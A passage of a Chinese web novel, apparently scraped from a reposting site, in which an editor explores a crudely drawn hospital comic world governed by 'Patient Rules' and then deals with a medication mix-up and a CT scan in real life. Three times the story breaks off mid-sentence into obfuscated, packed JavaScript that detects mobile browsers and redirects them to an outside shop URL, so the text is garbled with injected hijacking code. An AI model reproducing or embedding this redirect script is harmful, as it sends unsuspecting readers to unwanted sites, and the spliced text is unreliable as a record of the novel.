“你刚刚还差点违反了规则! “这可不行,病人一定要好好地遵守《病人守则》才行。” 黑野编辑立刻抓住了关键线索,“《病人守则》是什么?” “你还不知道?” “鹰之助”不知为何非常高兴,“是指导病人们在医院中安全疗养的手册哦!非常厉害,非常管用!我也是不久前才拿到的!” “你拿到了?” 黑野编辑问,“可以借给我看看吗?” “当然。很乐意为你效劳。” “鹰之助”从红马甲里掏出一本方形的书,将其打开,递过来。 然而,黑野编辑只能看见眼前有两个并排的空白方形。 【快装成文盲,】匣子第一时间给出建议,【让他读给你听!】 ——以这个漫画世界的精细程度,根本就不可能出现书中有字的情况。 在这么小的方形中填字,太为难作者那肆意豪放的笔触了。 不过,作者自有解决之道。 匣子还来不及开展第二次怂恿,就看到一行巨大的文字,从“鹰之助”身旁的空白区域中浮现出来,犹如没有对话框的题字: “《病人守则》 “病人要乖乖吃药。每天早晨,护士会将送来的药物装在粉红色药盒里。 “如果是药盒是其他颜色,会发生坏事。 “将粉红色药盒摇晃三下再打开,吃完会获得好运。” “不对,你要看的是这个。” “鹰之助”插话,伸过手来哗啦啦翻页。 作为漫画世界里的角色,他似乎就能顺利看清空白书页上的内容,翻了很多页后才停下,将其中文字指给火柴人看。 空白区域里,先前那几行大字消失了,随之出现的是: “夜间要好好待在病房。如果发现病房里的别人消失了,可以尝试前往护士站。 “如果护士站的灯是红色的,请立刻回到病床上,用被子盖住脑袋,就能安全无忧。 “如果护士站的灯是绿色的,可以等护士出来给你喂水,喝完水后请护士带你回病房。 “如果没有看到护士站,请立刻回头,返回病房。 “如果无法顺利返回病房,请参照以下应急守则。” 那些文字每个都有半个火柴人大小,很快就将空白区域全布满了。 “鹰之助”帮忙翻页,文字内容就又刷新了。 “在医院中独自探索时,请注意不要在走廊上发出太大的声音。 “不要进入黑色的房间。 “不要独自进入有光线的空荡荡的房间。 “不要触碰有尾巴的物体。 “如果看到有人在储物柜前徘徊,千万不要靠近。 “不要跟着画着绿色小人的牌子走路,你会被带去月光下的森林。” 似乎全都是各种禁忌。 像是恐怖漫画作品。 那么“鹰之助”这个角色,就是为读者介绍世界观的引路人?又或者—— 【在恐怖故事里,以任何面貌出现的人形生物,都不怎么可信吧?】 匣子凉凉地说,【最终的幕后凶手往往不就是作者本人吗?哪怕你是他的上司,不,正因为你是他的上司……】 还不能确定这是鹰之助的作品。 黑野编辑心想,就算编辑不用亲自作画,但是这个水平,也有点太不堪入目了。 如果真是鹰之助的话,那他就等着接受特训吧。 “鹰之助”对火柴人的内心世界一无所知,正热心地提醒,“看,就是这条,‘如果看到有人在储物柜前徘徊,千万不要靠近’,你刚刚差点就违反规则了。” ……所以在刚刚那个房间里,黑色阴影是人,蠕动是“徘徊”,那几个方形是储物柜啊。 就算知道了《病人守则》,黑野编辑也很难想象“护士台”“有尾巴的物体”“绿色小人的牌子”在这个世界里究竟是怎样的画面表现形式,更遑论按照这份守则行事了。 “还有最最最重要的一页呢。” “鹰之助”兴高采烈地说,再次翻页,接下来这整页里只有一行大字,均匀地排布在他的头顶上。 “永远可以相信黄色头发的护理工。” “鹰之助”高兴地快要跳起来,无比骄傲自豪地说,“这个说的就是我,病人们永远都可以相信我!” 【一般来说,自己拿出来的书里说自己的好话,】匣子忍不住说风凉话,【往往都是不值得信任的。】 黑野编辑在意的则是,“原来那是你的头发。” 所以,“鹰之助”头顶的黄色线条,既不是大脑发光,也不是土豆发芽,而是类似于狮子脑袋那种画法的毛发。 他之前完全陷入了盲区,是受到了先入为主的错误观念影响。 因为现实中的鹰之助是黑发。 “是啊。” “鹰之助”摸了摸自己头顶那些粗糙的线条,又有些羡慕地看着火柴人的黑线条脑袋,为之圆润黝黑而心动,“我也好想拥有像你那样好看的发型啊。” 【你现在有发型吗?】匣子再次大笑,【你明明连头发都没有!】 客观来说,这次黑野编辑有些认同匣子的结论。 他放下这些细枝末节,说,“你可以带我到处走走吗?” “好啊!”“鹰之助”不假思索地拍着胸脯说,“你永远都可以相信我!” 有了向导后,路上的风景逐渐变得丰富起来,不再是单调的线条道路和方形布景。 黑野编辑怀疑自己先前走了那么久,其实都是在荒芜的角落里打转,现在才算是正式进入了漫画世界的核心景区。 虽然如此,他还是无法将严重变形的建筑格局与现实中那所医院对应起来。 毕竟,缺乏细节,就无法定论。 在创作者的想象中,这里或许是什么中世纪黑暗医院、未来科技医院、幻想迷宫医院也说不准。 在“鹰之助”的介绍下,黑野编辑见到了由一个长条和一个正方形来组合示意的“护士台”。 但这个护士台并没有亮灯。 见到了走廊上一排排的病房门。 那些象征门的方形当然也是大小不一的。 每一扇门后都是黑暗的。按照“鹰之助”的解说,现在是深夜,病房都已经熄灯了。 见到了CT室的门。 是一个巨大的方形,上面画了一个黄色的三角形——如果没有解说,一般人很难识别出简化到这种程度的辐射标志。 “鹰之助”还特地介绍了之前被翻页跳过的一条守则,“做CT的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872523|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进入圆形舱体前必须闭上眼睛,千万不要看舱体里面的样子。 “害怕的话,就在黑暗中从1默数到999,如果能睡过去是最安全的,但是,中途无论发生了什么,都绝对不要睁开眼睛。” 见到了一个饮水机。 是长得和其他方形差不多的方形,上面有红色和蓝色的两个方点,大概是按钮。 《病人守则》介绍说:只有蓝色的开关是安全的,能让人头脑清醒,但不能多喝,红色的开关则是不能动的。 “鹰之助”从蓝色开关处接了杯水给黑野编辑。 那个杯子被画得比火柴人的脑袋还大,里面却只装了一点水。 黑野编辑喝了口,没感觉到什么特别,水是冷的。 见到了楼梯。 楼梯转弯平台的角落里有一个绿色的椭圆形。 “鹰之助”走在前面,警告说不能踩树的影子。 ……所以那是一棵树? 见到了天台。 登上楼梯后,“鹰之助”一打开门,黑野编辑就感到有风吹来。 眼前是一个方形场景,有许多竖线,大概是栏杆。 “鹰之助”又高兴地翻开一页《病人守则》,展示给火柴人看。 “如果在天台顶看到了流星,能很快病愈出院。” 黑野编辑抬头看去,头顶是许多丑陋的点、短线。 那个大概就是星空。 他不确认那些短线是过长的星星,还是过短的流星线,又或是随意画出来的雨滴。 他仰头望着星空,不由倒退着走了两步,又觉得旁边有什么异常。 转头一看,发现身旁原本黑色的栏杆好像刚刚突然变成了红色。 【小心!有问题。】 “怎么回事?” 匣子和“鹰之助”的声音同时响起。 黑野编辑已经看到了最显眼的变化。 空白区域里那行无比巨大的“如果在天台顶看到了流星,能很快病愈”题字上突然增加了一道无比粗黑的删除线。 随后,好像一个恶意的嘲讽般,那行字被撕去了,露出了一条新的题字。 “如果天台栏杆是红色的,请不要靠近,立刻转身逃离。” 当黑野编辑意识到自己看见了什么的时候,“鹰之助”已经扑了上来——那张歪土豆脸上的简易五官竟然拼凑出了一种惊惶里又带着坚毅的生动神情。 迅速变幻的视角里,黑野编辑看见自己这具火柴人的身体被推离现场。 “鹰之助”代替了他原本所站的红色栏杆前的位置。 随后,有什么线条丑陋狂乱的物体从画面外直冲而来,重重砸在“鹰之助”身上。 栏杆碎成了红色的短线条。 不明物体与“鹰之助”一起了出去,消失到画面之外。 这一切发生得飞快。 转眼间,身边的人就消失了。 两片空白方形落在了地上,是“鹰之助”留下的书,被天台的风吹得摇摇晃晃。 那句突然出现的新警告被风翻过去了。 空气中的题字停留在整本手册的最后一页。 “永远可以相信黄色头发的护理工。” 天台上只剩下孤零零的火柴人,站在一圈有缺口的栏杆中间。 那些黑色的栏杆,正在一点点慢慢变成红色。 23.医院考察 黑野编辑在一阵坠落的失重感中猛然醒来。 他睁开眼,视线下移,依次看见了: 天花板,日光灯,床栏上的患者标识卡,被子的边缘。 不是涂鸦,而是现实的物品。 每一件物品都轮廓清晰,细节鲜明。 能够从外形上轻易辨认出其功能,明确得让人感动。 黑野编辑回到了自己的病床上,身体完整,手脚正常。 天已经亮了。 【早上好。】 匣子的声音听上去有些疲惫,【我们好像被那个世界赶出来了?】 是因为在天台违反了《病人守则》? 还是因为“鹰之助”的牺牲? 在《夜樱》世界的时候,黑野编辑就曾经思考过,假如佐伯雄死亡的话,会发生什么。这或许就是答案之一。 那么任务应该是失败了。 不同于东云茜那时的情况紧急,这次的漫画世界被污染会产生何种后果,目前尚没有明确结论。 这个漫画世界大概率是某人自娱自乐的产物。 因为画风实在一言难尽,一般人读起来会有理解上的障碍。 如果出了问题,影响范围应该也局限于身份不明的作者本人。 还有可能受到影响的是—— 鹰之助。 他今天应该也会来医院。到时候就能得知他的情况。 黑野编辑拿出手机给鹰之助发了一条短信。收到回复后,忍不住又把玩了一下手机。 多么优雅舒适的现代设计。 或许是在那个简单粗糙的世界呆久了,黑野编辑觉得眼前的一切都有种清晰过头的感觉。 哪怕是最普通的病号服,织纹都繁复得令人着迷。 这种对生活的真实体验感,大概也算是一种探险后的收获。 早上的时候,护士送来今天的药物。 这位护士大概四十岁左右年纪,看上去面相严厉,不苟言笑。 黑野编辑想起那个世界《病人守则》中的内容,下意识多看了眼发药的过程。 现实世界里哪有什么粉红色的药盒,散装的药包都是统一装在白色药盘里的,上面写着具体信息。 护士核对病床号和医嘱后,将事先分装好的药物留在病床旁边的柜子上,然后走去隔壁床,拉开了那边的床帘。 黑野编辑记起来,昨天早上他也见到了同样的场景和同样的药物。 【放心,你的病房在夜里可没有发生别人消失的情况。】 匣子故意嘲笑他对漫画世界的对号入座,【我是指,如果你不对护士查房离开和病人起夜上厕所这种事大惊小怪的话。】 隔壁床的病人得到的也是和黑野编辑一样的散药包。 那是位年岁偏大的中年妇人。 按理来说医院会尽量避免男女病人同房这种情况,但听说是因为床位不够,才安排两人混住的。 那位病人有些令黑野编辑在意。 这种年纪的病人一般都会很唠叨,很爱找年轻人说话。 但这一位夫人整天都躺在床上看着窗外发呆,沉默不语,要么就是睡觉,完全不关心病房里其他人的来来去去。 黑野编辑并不在乎他人的性情,他担忧的是这种生活方式对健康的影响——很多中老年人会因为一次意外的骨折而长期卧床,最终死于肺炎。 元凶不是骨折,而是骨折导致的缺乏运动。 他在昨天下午给出过一次提醒,没有得到对方的回应。 两人在同个病房里待了快两天,这就是他们之间唯一的交流。毕竟黑野编辑也是那种不习惯主动找人聊天的人。 此时,护士同样将散药包放在中年妇人的床头,中年妇人像木头般一动不动,看都不看一眼。 黑野编辑收回视线,拿起自己今天的药。 依旧是和昨天一样的处方,镇痛、消炎和补钙的药片。 他逐一拆开药包,这些分开散装的药物里,倒有两枚胶囊是粉色的,他特地拿出来看了看。 【不对啊,】匣子突然出声,【这个药是不是有问题?】 “我昨天也吃过。”黑野编辑记得很清楚。 他看了眼医嘱上的名称,这是医生前晚查房后给他调过的药。 【医嘱是没问题。但你先等等,】匣子严肃地说,【这个药的实际成分和医嘱上的名称对不上。】 【——你最好拿去让他们查查。】 黑野编辑想起来,匣子昨天一整天都不在,错过了护士早晨送药的情景。 虽然他并未感觉到身体有什么不适或异样,但还是尊重匣子的检测手段,将这两枚药放下来。 在护士离开病房前,黑野编辑叫住她,让她帮忙检查这两枚药。 中年护士一头雾水,再次简单核对了病床号和医嘱,没看出什么问题,甚至隐隐有些生气。 但或许是被黑野编辑的坚持打动,又或许是看在黑野编辑的脸上,她最后还是拿走了一枚样品,说会去询问药房。 黑野编辑保留了剩下那枚,作为证物。 等这场插曲结束时,鹰之助也迈着轻快的脚步,再度来访了。 黑野编辑重新入院后,剩下的新人漫画家暂时都是由鹰之助去联系洽谈的。 鹰之助得每天来汇报进度。 目前工作进展一切顺利。 除东云茜振作起来外,另外几位新人也陆续交来了分镜,已经在洽谈连载的事情了。 今天鹰之助来得早。 他原本要去拜访某位老师,拿到稿件后送来病房的。 但早晨那位老师临时打电话来,说家里有点事,希望改期。 鹰之助早上的安排就此空出来。 正好昨天得到社长的提点,他就高高兴兴地过来向黑野编辑“多看多学”了。 将东西一放下,鹰之助就去拉窗帘开窗,将黑野编辑的水杯洗了,桌子擦了,热水瓶灌满。 顺便还和隔壁床招呼了一声,将那边一并收拾了。 隔壁床没有理会,没有拒绝,没有道谢。 鹰之助的表现倒是一如既往,没有什么异常。 因为昨晚刚刚在另一个世界里见证了某个“鹰之助”的死亡,黑野编辑多看了几眼鹰之助,让这位年轻的助手有些紧张,动作渐渐拘谨起来,干完活后就来黑野编辑床前坐好,准备聆听训示。 黑野编辑想起了漫画世界中“鹰之助”的职业。 鹰之助热心细致,体力充沛,谦虚体贴,的确是很适合从事护理工这种职业的。 当然,做漫画编辑也很好。 但问题是,有多少人知道鹰之助的优点,且会将其和护理工这份职业联系起来呢? 黑野编辑问,“来黑野社做编辑,是你毕业后的第一份工作吗?” “是啊。”新人毫不犹豫地回答,“我从毕业前就梦寐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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鹰之助在走廊的饮水处停留,给黑野编辑倒水。 樱岛这边的公共饮水机一般只有冷水和冰水两种开关,但这家医院里可能是因为休养的慢性病人和老人比较多,有冲泡茶水和特殊药物的需求,饮水机有热水与冷水两种选择,让身为神州人的黑野编辑感到非常怀念。 鹰之助对这种少见的机型也操作得很熟练,很快就兑了杯温水来。 随后将黑野编辑一路推出住院楼,来到了医院中庭的小花园。 这里草坪宽阔,植物茂盛,喷泉和水道也维护得干净清澈,正适合病人休憩散心。 黑野编辑很少主动出病房,住院两次,还是第一次来到这里。 他看见有几位病人在附近的草坪上散步,或是围着户外健身器材做一些简单的恢复运动。 中庭花园有个儿童游乐区,摆着动物森林主题的滑滑梯与攀爬架等,但是空荡荡的,此刻没有孩童在其中玩耍。 这里视野很好,能看见医院的所有建筑都在周围。 黑野编辑不由抬头往上看,观察着那些大楼天台的栏杆。 鹰之助察觉到了,体贴地问,“是这里太阴凉了,想去楼顶晒太阳吗?” 他主动请缨,“我带您去吧!” 24.第二次的天台 【昨晚刚发生了那种事情,现在又让他上楼顶,真的好吗?】 匣子说风凉话。 黑野编辑很快作出决定,“去吧。” 接下来,他发现一件事,鹰之助对这座医院的格局非常熟悉。 鹰之助推着轮椅走了一条小径,上无障碍通道,走入住院部的侧门,左转直达电梯——没有半点选择路线前该有的观察和犹豫,如同本能般熟练。 “你以前来过这家医院?”黑野编辑问。 “是啊,以前来过不少次。”鹰之助回答,“不过楼顶我还真没上去看过。希望楼梯间里没什么障碍物挡路。” 他伸手按了最顶层的电梯,随后按了关门键。 -- 鹰之助打开天台的门后,先探头看了一眼外面情况,才回来将黑野编辑的轮椅推过了门槛。 体育生的臂力在此时发挥了作用,轮椅落地时黑野编辑几乎没有感觉到太大的震动。 天台上有风。 因为楼层高的缘故。 阳光比在中庭花园里要更明朗热烈一些,但由于有风,并不会让人觉得热,只让四月中旬的天地都暖融融的。 楼顶的整体风景让人的心胸也为之开阔——晴天没什么云彩,近看时蓝得像浅海。 “没想到这里这么舒服,”鹰之助说,“以前也该带病人上来散散心的。” 天台很空旷。 没有放置晾晒或健身设施,只有一圈简易的栏杆。 所以,从功能考虑,这里平常是没有人上来的。 但现在,除了他们两人,天台上还有一个人在。 黑野编辑的目光环视了一圈栏杆后,就落在了那个外人的身上。 那人正在栏杆边埋头做着些什么,看背影像是位年轻的女性,身高大概在一米五五的样子。 黑野编辑有些在意,他还没说什么,鹰之助已经推着轮椅走了过去,语气愉快地打招呼,“日安,今天天气真不错啊。” 那个女孩转过身来,面容比想象中的更稚嫩些,是十四岁左右的少女,戴着粉色的兔子发卡。 “日安!风有些大哦,这位坐轮椅的先生是不是该穿件外套?” 不等鹰之助露出窘态,她又指点道,“现在是西南风,你可以推他去那边背风的墙下坐着,晒会儿太阳,身上就暖啦。” 她的笑容很灿烂,转身时露出了手里拿着的本子和画笔。 她之前应该是将硬皮画本靠在栏杆上,在画风景素描写生。 黑野编辑一眼掠过画面内容,下意识给这位少女的画功打了个85分。顺带一提,昨晚的漫画世界是5分——仅仅好过于帕金森患者的控笔。 他放松了对眼前这个会画画的女孩子的关注,不认为以一个拥有85分绘画能力的人的审美水准,会与5分漫画的创作和传播发生什么关系。 鹰之助安置好黑野编辑。黑野编辑很想申辩自己不是重病患者,只不过是骨折和小感冒,还没有那么脆弱。 但最终他还是没有开口拒绝他人的好意。 【多好的女孩啊。】匣子夸赞。 从春原菜菜子到眼前的少女,黑野编辑怀疑匣子的喜好有些危险。 虽然他也赞同,这些拥有美好品质的女孩们值得世界的优待。 鹰之助已经熟练地和少女攀谈起来,从天气聊到爱好,再互通姓名。 黑野编辑不由感叹,在当今的世界里,还真有人能够和陌生人成功搭话并聊起来,证明这种情节并不是漫画里一厢情愿的幻想。 “其实,你刚刚来找我搭话,是看我站在栏杆边,担心我是那种想不开的人吧?”自称为久世的少女突然笑着说。 “没有,怎么会呢?”鹰之助下意识否认,又挠了挠脑袋,“好吧,其实是条件反射啦,我招认,参加义工培训时背过这么一条,如果看到有人在天台、水池这种地方单独待着的话,一定要上前确认对方的情况。” “不会反而将人吓到立刻做出决断吗?”久世好奇地问。 “所以要注重方式啦,态度要自然,扮成是恰巧路过、无意干涉的外人,”鹰之助传授经验,“其实人在那种时候往往都是很犹豫的,只需要一点点借口,或是轻轻推一把就能离开险境。 “只需要外人表现出温和友好的尊重态度,或是给出一点鼓励,甚至只要提醒一句天气很好,可能就够了。” 他突然反应过来,“啊,我不是在故意用套路对付你啊,刚刚你一转过身来我就知道你不是想不开了!” “啊,啊,请放心,”久世愉快地笑了起来,收起画本,离开了栏杆,“我只是上来晒太阳的。我很喜欢这里。” 黑野编辑问鹰之助,“你以前做过义工?” 他拼凑出一条线索,“在这家医院也做过吗?” “我还做过蛮多回义工的,”鹰之助有些不好意思,“以前常和家里人一起出来做这个,医院、社区、养老院都有做过。 “这里也来过。” “我就说嘛,你给我的感觉就和我以前认识的义工很像。”久世手上比划了一下,“不过,还是有这么大——区别的。” 黑野编辑终于知道鹰之助照顾人时的这股熟稔劲儿是打哪学来的了。 助手熟悉这家医院应该也是同样的原因。 他问,“你去做过义工的医院里,有没有哪家医院楼顶天台的栏杆是红色的?” “红色?您在找什么场景素材吗?”鹰之助努力回想,“我没怎么留意过。有间养老院的老人们比较喜欢到天台下棋打牌,其余医院的天台我都很少去的。” 匣子恍然大悟,窃窃偷笑,【所以,其实他是把你当成老人家来照顾呢。】 “反正肯定不是这家医院。”久世笑眯眯地补充说,“这里的栏杆一直都是这个铁灰色的,从没变过。我常来这里。” “久世小姐在这家医院待很久了吗?”鹰之助关切地问。 “是啊,有好几年了呢。”久世叹了口气,又很快振作起来,“但我一直都很有精神地在和病魔战斗哦。 “对了!” 她认真地说,“虽然天台的风很舒服,但是,晚上千万不可以上来哦。” 黑野编辑立刻问,“为什么?” “我也不知道。”久世的表情变得有些迷惑,“有人告诉过我,说晚上来医院天台的话,就会发生不幸……会让人失去重要的人。” 她不好意思地笑了起来,“似乎也没什么科学道理哈,就把这当做是某种民俗禁忌吧?宁可信其有嘛。” 黑野编辑又问,“你还知道什么其他的守则吗?” “守则?你真有趣。”她看着黑野编辑,不知为何特别高兴地笑道,“这个用词有点怪哦,一般不是应该叫做注意事项吗? “——没有了哦。” 黑野编辑看了眼鹰之助,鹰之助的表情自在又坦然,不像是会由此联想到什么的模样。 他们送久世下楼。电梯门将要关上的时候,鹰之助看着久世的背影与外面的环境,面露困惑地轻声说,“这里是儿科病房啊。” 随即若有所思地叹气,“她应该是很小的时候就住院了。” 又对黑野编辑解释,“虽说她超龄了,可病情总是从孩童期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880966|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延续下来的。她仍在接受同一个医护团队的照护,才一直留住在儿科吧。” 黑野编辑想起了在中庭花园里看到的那个空荡荡的儿童游乐区。 不由问道,“这家医院的儿科规模不大吧?” “恰恰相反哦。”鹰之助说,“我记得以前来这里做义工的时候,这里的儿科是明星科室呢。 “各地都会有家长慕名而来,将孩子转诊到这里。儿科要帮忙的工作也特别多。” “唉,”他叹气,可语气里却有点怀念的意思,“小孩子们满地乱跑,又天真可爱,又让人难以招架,照顾起来很累人的。” 连体育生都累得够呛,可见当时的儿科的确很兴隆。 不过就黑野编辑刚刚从电梯门中的一瞥所见,护士台里正坐着两个护士,各自沉思发呆,看起来不像是很忙的样子。 黑野编辑心想,而且,一般来说,聚集了超过三个以上孩童的地方,就不该像刚刚这么安静了。 “这里儿科的服务团队很好的。”鹰之助没留意到这些,仍沉浸在过去的回忆里,“我记得护士们大都很亲切,照料也细心。 “这里的儿科病房是专门设计过的,很方便家长留宿陪床。 “科室里的玩具呀,餐盒呀,连药盒都是卡通形象的。他们还有自己的吉祥物,我记得好像是什么草莓兔和蜜瓜象。” “她那个发卡就是草莓兔的吗?”黑野编辑想起来了。 那是粉红色的。 “是啊。毕竟她是这里的老病人了嘛。” 电梯门又开了,鹰之助推着黑野编辑回到骨科病房。意外的是,黑野编辑的病床前站了好几个人。 为首那个面相严厉的护士正在教训其他人。 看到黑野编辑出现,那位护士立刻带着两个年轻护士走过来,向他解释,“非常抱歉,关于早上那个药的事情,我们已经查清楚了。 “——的确是我们工作出现了失误。新来的护士没有经验,在分装药物时将您的药物和隔壁床的弄混了,装错了药包。” 鹰之助倒吸了口气,立刻转到轮椅前方,蹲下来查看黑野编辑的面色。 “是什么药弄错了?您已经吃了吗?有没有哪里不舒服?” 又扭过头问护士,“他吃错的是什么药物?有没有副作用?该怎么护理?” “我们询问了当事人,又检查了药房记录,幸好隔壁床还未来得及服药,我们可以还原您的实际用药情况。”为首的护士面色严肃地说。 “目前可以确定,弄混的药物只有一种,就是您拿给我看的那一样。” 她有些焦急地问,“您应该还没服用吧?” 【瞧,我说得没错吧?】 匣子立刻邀功。 黑野编辑反映情况,“我昨天早上服用过。” 护士轻微吸了口气,又回头瞪了眼站在她身后的某位年轻护士,“我已经问过医生了,好在那种药的副作用不大。” 她知道病人需要更清楚的解释才能安心,于是念出一个复杂的药名,“是用来压制神经元异常活动的,确切的来说,是用于给隔壁床病人抑制幻听的药物。 “少量服用,理论上应该没有什么大碍,会在几天内代谢掉。” 这种需要每天服用补充的药物,大部分成分一般都会在当天内代谢完。 护士问道,“您昨天有发觉什么异样吗?” 这种时候,匣子理应跳出来申辩。 它应该再次强调,昨日黑野编辑吃药后,它一整天没有发声,真的是恰好开小差,去下潜未知世界了。 匣子却保持着沉默。 25.CT室的杂音 这位护士将黑野编辑的思考当成了暂时的否认,微微松了口气。 又说,“如果不放心我们的解答,您可以自行查询了解这种药物的相关信息,或是向樱岛医师会发起咨询。” 她没有质疑为何黑野编辑直到今天才对服用过的药物提出不同意见,也没有急着将事情小而化之。 继续说道,“如果您稍后感到身体有哪些不适,请尽快向我们反馈,我们会尽最大努力,为您申请安排免费的检查和后续治疗方案。” “隔壁床的情况怎么样?” 黑野编辑有些关心受到影响的别人。 “如果您说的情况属实,那么隔壁床的病人昨天也错用了药物。” 护士叹了口气,皱起眉来。 “若昨天的药物和今天完全一样……” 见到黑野编辑点头确认后,她立刻说,“那应该还好,被交换给她的药物是钙剂。 “多吃一份钙剂问题不大。值得担心的是她停药后,幻听症状是否会加重。” 隔壁病床的那位中年妇人依旧不关心这边的事态。 哪怕这边动静这么大,谈话的内容还关系到自身的健康,她也置若罔闻,正看着窗外发呆。 护士说,“我们会告知医生,尽快为她调整后续用药。我们也会为此再次向她道歉,争取取得谅解。” 护士又对着黑野编辑说道,“发生了这样的事情,我们感到非常抱歉。 “我们曾立过誓,绝不会再让八濑广重事件重演, “今天的事让我们惶恐又警醒。我们会进一步加强对员工的教育,和对药物的管理。” 她带着几个护士向轮椅上的黑野编辑鞠躬。 “我会将完整的事件经过向上级进行反馈,之后我们院方的管理人员也会来向您正式致歉,并和和您商谈具体补偿方案。 “当然,如果您有什么诉求,也可以现在就向我们提出。 “我们会帮忙向医疗安全管理室转达,尽量协调解决,给出令你满意的赔偿方案。” 这位中年护士道歉态度诚恳,最重要的是给出了她这个职务上能给出的最大化解决方案和服务承诺。 这种工作作风,胜过了大多数只会用鞠躬来解决一切问题的樱岛机构,算是比较令人满意的了。 黑野编辑无意追究,倒是突然想起来,由于最近事情太多了,自己还有一件备忘录上的待办事项没来得及完成。 他说,“可以帮我预约一个脑部CT吗?我自费。” “就只是这样?”护士有点讶异。 黑野编辑点点头。 “我会做好陪护,帮忙观察他用药后的情况。”鹰之助立即主动请缨。 “若有什么异常,我会去找你们。” CT室的钢质门非常宽大,正中间端端正正地画着标准的三叶型电离辐射标志。 排号等待时,黑野编辑看着这个场景,不由又想起了昨晚那个简陋的漫画世界。 【别以为我不知道你在想什么!】 匣子气冲冲地发起质询,【你是不是在怀疑我是你的幻听?】 总觉得这个兴师问罪来得有点晚。 但黑野编辑觉得没有必要辩解。 站在自己的立场上,他必须审慎对待一切可能性,并不认为这种怀疑对不起哪个外来的意识体。 而假如匣子就是幻觉,就更不必要争论了。 匣子出现以来的这些天里,就黑野编辑的自我判断,自身的体验认知是完整的,思维也运作正常,情绪波动不大,没有觉察到缺失或疯癫的环节。 但不排除可能有器质性病变导致感知失常,造成幻觉。 甚至,潜意识里的逻辑思考可能在推波助澜,为幻觉添油加醋、修补漏洞,编造了一个完整的故事来自圆其说。 黑野编辑一边思考,一边忍不住隐隐高兴,难道因祸得福,我的想象力得以进步了? 当然,这也只是猜测。 证据决定一切。 得拿出CT检查结果才能见分晓。 匣子没有继续胡搅蛮缠,甚至没有抓住机会嘲笑,这有些不像它。 自昨晚任务失败以来,它都表现得像是精神不太好。 黑野编辑回想自己这几天波折起伏的经历——匣子那套说辞固然是合理的解释,用幻觉和梦境来解释也行得通。 毕竟在漫画世界里的冒险只有自身一个人参与。 东云茜家的事件太混乱了,那天有地震、暴雨和停电,东云茜很惊惧困惑,鹰之助在体贴中又有几分不追问的豁达,他们三个人一直没有对证还原事情的原貌。 黑野编辑自以为清楚整件事情的真相。 但前提是他身上没有幻觉笼罩。 如果匣子和匣子主张的一切理论都是不存在的…… 匣子此刻没有发声。 不过,黑野编辑换位思考,也想象得到匣子能展开怎样的辩驳。 假如那一切混乱只不过是东云茜的异能爆发,又撞上了天灾地震的巧合,匣子并不存在,特殊污染源并不存在,漫画世界也并不存在,那么该如何解释东云茜醒来后对《夜樱》的修改呢? 如何解释《夜樱》的后续走向和黑野编辑的幻觉是一致的? 如何解释黑川凛的人设? 白纸黑字的CT检测报告可以成为实证,同样白纸黑字的《夜樱》分镜难道就不是现成的物证吗? 除了匣子的漫画世界理论,还有什么能…… 不。 黑野编辑对匣子这段辩驳的推演只到这里为止。他知道自己能够推翻匣子的立论。 他做得到。就算当时的危急情况是真实的,东云茜异能暴动,匣子只是无法倚仗的幻觉,他也能够解决所有的问题。 他有底牌。 只不过他从来都不愿意动用那张底牌。 匣子没有发出声音,没有打断他的思考。 但如果情况真是如此,他的幻觉到了这个地步,在幻觉的影响下失去了对自身的控制,甚至以一个编辑的身份,不必要地干涉了漫画家对剧情的把握。 那么,他就不应该再从事这份工作了。 他必须辞职。 而且,他不能回国。 他绝对不能以这种状态回神州。 在CT室门口等待的时间太长了。 本来只要等待检测报告出来,一看就万事分明,黑野编辑却在等待中不知不觉想了太多,思考中让面色越来越严肃沉重。 鹰之助有些担心,低头询问黑野编辑要不要喝水。 黑野编辑睁开眼,看了他一眼,心里顺便掠过一些在辞职后该让谁接手培养鹰之助之类的考量。面上却没有显出来,只点头示意可以喝水。 鹰之助松了口气,赶紧去饮水机兑了杯温水过来,却有些疑惑地看见黑野编辑从病号服口袋里掏出了一枚粉红色胶囊。 “到了您吃药的时间吗?这颗药有没有和护士确认过,不是先前换错的那些药吧……” 要验证匣子的存在究竟是否神经元异常活动导致的幻听,除了CT外,还有一个最简单的验证方法。 看看之前偶然的实验结果能否复现就好了。 黑野编辑的手中还有一枚当初留下来作为证物的样品。 【你真要这么做吗?】匣子终于开口,语气却不复过去与黑野编辑论战时的坚定自信。 黑野编辑快速判断了一下药物副作用的利弊,没有回答鹰之助的问题,在助手犹豫担忧的目光中,果断将胶囊吞服了下去。 匣子没有说话来嘲笑黑野编辑的判断失误。 它不再发出声音了。 CT室的钢质门终于开了,鹰之助将黑野编辑从轮椅上扶起来,送进了CT室。 黑野编辑躺在检查床上,在被送入扫描舱体时,突然又想了《病人守则》的内容。 漫画世界里的那位“鹰之助”曾经读给他听: “做CT的时候,进入圆形舱体前必须闭上眼睛,千万不要看舱体里面的样子。 “害怕的话,就在黑暗中从1默数到 